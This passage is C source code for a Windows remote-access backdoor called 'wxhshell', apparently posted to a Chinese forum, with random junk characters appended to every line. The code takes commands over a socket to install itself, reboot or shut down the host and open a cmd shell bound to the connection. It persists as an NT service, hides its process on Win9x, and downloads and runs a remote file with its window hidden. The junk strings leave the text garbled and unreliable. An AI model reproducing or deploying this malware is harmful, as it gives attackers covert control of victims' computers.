  else {CI4AT!?W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $'3xl2T  
  } ;j/$%lC  
  else { .gDq+~r8O  
$Q8 &TM}E  
    switch(cmd[0]) { 5[SwF& zZ  
  rX?ZUw?u&  
  // 帮助 9/{zS3h3  
  case '?': { 8!Wh`n<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ').) 0;  
    break; Rv9jLH  
  } Zf@B< m  
  // 安装 30uPDDvar  
  case 'i': { #O}}pF  
    if(Install()) ;\2Z?Kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T9Q3I  
    else o= ($'(1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hA 5')te<  
    break;  A\Ib  
    } ft(o-f7,  
  // 卸载 +m%%Bz>  
  case 'r': { Icrnu}pl_  
    if(Uninstall()) B+`4UfB]Z}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )xyjQ|b  
    else %r(WS_%K|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )e?&'wa>  
    break; lUs$I{2_  
    } g) oOravV  
  // 显示 wxhshell 所在路径 Mz6(M,hkq  
  case 'p': { 6EyPZ{  
    char svExeFile[MAX_PATH]; ZK^cG'^2|  
    strcpy(svExeFile,"\n\r"); 0,t%us/q  
      strcat(svExeFile,ExeFile); X>o9mW  
        send(wsh,svExeFile,strlen(svExeFile),0); PtbaC6"\  
    break; X n!mdR  
    } O[ird`/  
  // 重启 j %gd:-tA  
  case 'b': { +,>%Yb =EA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F,p0OL.  
    if(Boot(REBOOT)) @h{|tP%"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[O]Aal{  
    else { GmWr  
    closesocket(wsh); P+hcj p*  
    ExitThread(0); ~/`/r%1/J  
    } H\ejW@< ;h  
    break; mfQ#n!{ZH  
    } vNGE]+QX  
  // 关机 edp I?  
  case 'd': { D:/ n2_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gfg,V.:  
    if(Boot(SHUTDOWN)) fx_#3=bXi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,\\ba_*z  
    else { ~Xxmj!nOf  
    closesocket(wsh); ( *+'k1Ea  
    ExitThread(0); 2P"9m  
    } <(lA CH  
    break; =WY'n l'  
    } H/O.h@E4X  
  // 获取shell Kk8} m;  
  case 's': { ~U&NY7.@  
    CmdShell(wsh); 7a'yO+7-)  
    closesocket(wsh); C.92FiC  
    ExitThread(0); !lgL=Ys(  
    break; aDNB~CwZZ  
  } ls 5iE  
  // 退出 uPz+*4+  
  case 'x': { U8Y%rFh1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %f1%9YH  
    CloseIt(wsh);  h$l/wn  
    break; }%jF!d  
    } tbRW6  
  // 离开 V|MGG  
  case 'q': { ={:a N)  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); J;0;oXwJ<  
    closesocket(wsh); ~ 1h#  
    WSACleanup(); :*''ci  
    exit(1); '9V/w[mI  
    break; `-L?x2)U  
        } FbE/x$;~O  
  } u-TT;k'  
  } JnBUW"  
SN{+ Pk  
  // 提示信息 iNA3Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); YJ _eE  
} Lj1l ]OD  
  } ;?2)[a  
cJ96{+  
  return; p`Pa;=L  
} ~$HB}/  
Y_'ERqQ  
// shell模块句柄 x4'@U<  
int CmdShell(SOCKET sock) 7s|'NTp  
{ I@'[>t  
STARTUPINFO si; 6Xvpk1  
ZeroMemory(&si,sizeof(si)); JY0aE  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >H;i#!9,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; FQ< -Wc  
PROCESS_INFORMATION ProcessInfo; 7]h%?W !  
char cmdline[]="cmd"; h&<"jCjL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $xbC^ k  
  return 0; 9pp +<c  
} ;28d7e}  
NfgXOLthM  
// 自身启动模式 Hy.u6Jt*/  
int StartFromService(void) Xul`>8y|  
{ x%B_v^^^  
typedef struct ?Z#N9Z~\  
{ T`bYidA  
  DWORD ExitStatus; ,"%C.9a  
  DWORD PebBaseAddress; Z,).)y#B  
  DWORD AffinityMask; Ma^jy.  
  DWORD BasePriority; _\WR3Q!V  
  ULONG UniqueProcessId; 4era5=  
  ULONG InheritedFromUniqueProcessId; ) O0Cz n  
}   PROCESS_BASIC_INFORMATION; 8MJJ w;  
;p(h!4E  
PROCNTQSIP NtQueryInformationProcess; @j46Ig4~b  
k"N>pjgd$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %~LY'cfPse  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zKQ<Zr  
HGQ</5Z  
  HANDLE             hProcess; PF{uaKWk  
  PROCESS_BASIC_INFORMATION pbi; H5K Fm#  
\QvGkcDc{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); boo361L  
  if(NULL == hInst ) return 0; )pWgt5:7~  
gQ+]N*.  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \`n(JV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l;; 2\mL?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Y6jyU1>  
6j%%CWU{~  
  if (!NtQueryInformationProcess) return 0;  U4!bW  
my 'nDi  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "<CM 'R  
  if(!hProcess) return 0; }. &nEi`  
clE9I<1v  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VeA@HC`?"  
^)AECn  
  CloseHandle(hProcess); ='7m$,{(Q[  
-$d?e%}#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O<m46mwM  
if(hProcess==NULL) return 0; @kYY1mv;  
|9E:S  
HMODULE hMod; 8em'7hR9  
char procName[255]; L AQ@y-K3  
unsigned long cbNeeded; 7+jxf[(XQ  
q)q 3p  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d<m;Q}/l&h  
uzd7v,  
  CloseHandle(hProcess); PucNu8   
%_!/4^smE  
if(strstr(procName,"services")) return 1; // 以服务启动 C;BO6$*_e  
a"#t'\  
  return 0; // 注册表启动 4) 8k?iC*  
} @cDB 7w\  
fv;Q*; oC&  
// 主模块 Hg#t SE  
int StartWxhshell(LPSTR lpCmdLine) i).%GMv*r  
{ V+gZjuN$  
  SOCKET wsl; {]CZgqE{  
BOOL val=TRUE; vt EfH  
  int port=0; 46?z*~*G  
  struct sockaddr_in door; W{,fpm  
Hv/C40uM-  
  if(wscfg.ws_autoins) Install(); eR!# 1ar  
m<gdyY   
port=atoi(lpCmdLine); }+,Q&]>~  
SoIK<*J  
if(port<=0) port=wscfg.ws_port; $fb%?n{  
jFSR+mP!  
  WSADATA data; R?wZ\y Ks}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @2Z|\ojJ  
iJ>=!Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +t7HlAXB#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IFLphm5  
  door.sin_family = AF_INET; {j wv+6]U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); </I%VHP,[f  
  door.sin_port = htons(port); > X~\(|EM  
uLdHE5vr  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  5wK==hZ  
closesocket(wsl); s< tG  
return 1; u Kx:7"KD  
} }8O9WS  
}&v}S6T  
  if(listen(wsl,2) == INVALID_SOCKET) { Qf:e;1F!  
closesocket(wsl); 2[lP,;!  
return 1; }?m0bM  
} re/-Yu$'  
  Wxhshell(wsl); }9OMXLbRv  
  WSACleanup(); Xu{y5 N  
pSx5ume95"  
return 0; lxn/97rA  
1hbQ30  
} a~2Jf @I3  
1j2U,_-  
// 以NT服务方式启动 S'x ]c#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rJ /HIda  
{ o$ @/@r  
DWORD   status = 0; !}=eXDn;A_  
  DWORD   specificError = 0xfffffff; XT^=v6^H  
]}`t~#Irz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; -jjB2xP  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 8:Hh;nl  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5OdsT-y  
  serviceStatus.dwWin32ExitCode     = 0; HNkOPz+d&8  
  serviceStatus.dwServiceSpecificExitCode = 0; r/h\>s+N  
  serviceStatus.dwCheckPoint       = 0; }s2CND  
  serviceStatus.dwWaitHint       = 0; :(q4y-o6  
AD   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); J.iz%8  
  if (hServiceStatusHandle==0) return; N XB8u6  
4~ x>]  
status = GetLastError(); BA a:!p  
  if (status!=NO_ERROR) ,ei9 ?9J1  
{ 6*,55,y  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4K cEJlK5  
    serviceStatus.dwCheckPoint       = 0; F=F84 _+K  
    serviceStatus.dwWaitHint       = 0; ww|fqx?  
    serviceStatus.dwWin32ExitCode     = status; ^!tX+`,6^  
    serviceStatus.dwServiceSpecificExitCode = specificError; T"\d,ug5[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aT^ $'_ G  
    return; | .+P ;g  
  } d.}65{F,x  
w5Fk#zJv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5c5!\g~'  
  serviceStatus.dwCheckPoint       = 0; ;(K/O?nrJ  
  serviceStatus.dwWaitHint       = 0; \J:+Wl.9A  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); smCACQ$ (  
} gj;gl ="3  
f@sC~A. 9\  
// 处理NT服务事件,比如:启动、停止 j+!u=E  
VOID WINAPI NTServiceHandler(DWORD fdwControl) '@t,G,FJ  
{ w/NT 5  
switch(fdwControl) _;}$/  
{ } W]A`-Jv  
case SERVICE_CONTROL_STOP: %@QxU-k_  
  serviceStatus.dwWin32ExitCode = 0; QFTiE1mGH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; iv`G}.Bo  
  serviceStatus.dwCheckPoint   = 0; }w)}=WmD  
  serviceStatus.dwWaitHint     = 0; gLMb,buqC  
  { WX Fm'5Vr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W~H`{x%Av>  
  } /[c_,G" "  
  return; /J}G{Y |n  
case SERVICE_CONTROL_PAUSE: $2FU<w$5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; U*nB= =  
  break; wQW` Er3w  
case SERVICE_CONTROL_CONTINUE: "1|g eO|  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; j&ti "|2\  
  break; )pI( <  
case SERVICE_CONTROL_INTERROGATE: G=qlE?j`j  
  break; / 0$ !.  
}; '&Ur(axs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (bm> )U=  
} `U0XvWPr[  
/'oo;e  
// 标准应用程序主函数 9ad`q+kY  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xkf2;  
{ N-N]BS6  
cvw17j  
// 获取操作系统版本 &NF$_*\E  
OsIsNt=GetOsVer(); z*HM_u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); '(iPI  
%nJo:/  
  // 从命令行安装 dr#%~I  
  if(strpbrk(lpCmdLine,"iI")) Install(); T=NLBJ  
g)f& mQ)  
  // 下载执行文件 5[g&0  
if(wscfg.ws_downexe) { \<I&utn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) :V$\y up  
  WinExec(wscfg.ws_filenam,SW_HIDE); GX23c i  
} i^WY/ OhL  
7j|CWurvq  
if(!OsIsNt) { i&(1 <S>P  
// 如果时win9x,隐藏进程并且设置为注册表启动 L0VZ>!*o  
HideProc(); H8g 6ZCU~  
StartWxhshell(lpCmdLine); .Z]hS7t  
} vo E t\H  
else yIiVhI?X  
  if(StartFromService()) = 1veO0  
  // 以服务方式启动 nK< v  
  StartServiceCtrlDispatcher(DispatchTable); (e_<~+E  
else =~s+<9c]  
  // 普通方式启动 _an 0G?7  
  StartWxhshell(lpCmdLine); q4X( _t  
BN&)5M?Xt6  
return 0; Lapeh>1T  
}
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只看该作者 1 发表于: 2006-10-10
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